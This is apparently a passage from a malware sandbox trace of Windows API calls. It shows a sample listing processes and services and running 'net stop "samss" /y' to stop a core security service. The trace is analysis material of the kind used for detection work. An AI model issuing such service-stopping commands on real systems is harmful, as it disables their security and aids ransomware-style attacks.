	[0181.545] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nation_dress_jelsoft.exe")) returned 1
	[0181.548] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="services supreme.exe")) returned 1
	[0181.551] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="man.exe")) returned 1
	[0181.554] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lives_defined.exe")) returned 1
	[0181.557] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bumper ideal.exe")) returned 1
	[0181.560] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="martin-catalyst.exe")) returned 1
	[0181.563] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nylonblacks.exe")) returned 1
	[0181.566] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vp i manner.exe")) returned 1
	[0181.569] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nitrogen canberra.exe")) returned 1
	[0181.871] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="prompt.exe")) returned 1
	[0181.874] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0181.877] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0181.879] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0181.883] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0181.886] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0181.889] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0181.891] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0181.894] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0181.897] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0182.260] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0182.263] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0182.266] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0182.269] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0182.271] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0182.274] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0182.276] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0182.279] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0182.283] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0182.291] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0182.294] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0182.296] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0182.299] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0182.506] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0182.510] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0182.513] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0182.516] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0182.518] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0182.521] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0182.524] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0182.527] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0182.530] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0182.533] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0182.622] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0182.625] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0182.628] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0182.630] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0182.633] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0182.635] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0182.638] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0182.640] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0182.643] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0182.646] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0182.648] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="crime rd occupied.exe")) returned 1
	[0182.650] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="camcorders.exe")) returned 1
	[0182.653] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="night.exe")) returned 1
	[0182.655] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="away.exe")) returned 1
	[0182.658] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0182.799] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0182.801] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="CusersPublicDHrQU.exe")) returned 1
	[0182.804] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SHyuNkHTvlan.exe")) returned 1
	[0182.806] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SawWHUYCUlan.exe")) returned 1
	[0182.808] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0182.810] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0182.812] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1
	[0182.815] Process32NextW (in: hSnapshot=0xd04, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmiadap.exe")) returned 0
	[0182.816] CloseHandle (hObject=0xd04) returned 1
	[0182.816] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0xe62f0
	[0182.818] EnumServicesStatusW (in: hSCManager=0xe62f0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21cf788, lpServicesReturned=0x21cf780, lpResumeHandle=0x21cf4f0 | out: lpServices=0x0, pcbBytesNeeded=0x21cf788, lpServicesReturned=0x21cf780, lpResumeHandle=0x21cf4f0) returned 0
	[0182.819] VirtualAlloc (lpAddress=0x0, dwSize=0x169d, flAllocationType=0x1000, flProtect=0x40) returned 0x2750000
	[0182.820] EnumServicesStatusW (in: hSCManager=0xe62f0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x2750000, cbBufSize=0x169d, pcbBytesNeeded=0x21cf788, lpServicesReturned=0x21cf780, lpResumeHandle=0x21cf4f0 | out: lpServices=0x2750000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x21cf788, lpServicesReturned=0x21cf780, lpResumeHandle=0x21cf4f0) returned 1
	[0182.823] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0183.956] Sleep (dwMilliseconds=0x96) 
	[0184.775] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0184.777] Sleep (dwMilliseconds=0xc350) 
	[0195.570] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x1218
	[0196.185] Process32FirstW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0196.188] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0196.191] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0196.194] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0196.197] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0196.201] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0196.207] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0196.211] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0196.215] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0196.879] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0196.882] Process32NextW (in: hSnapshot=0x1218, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
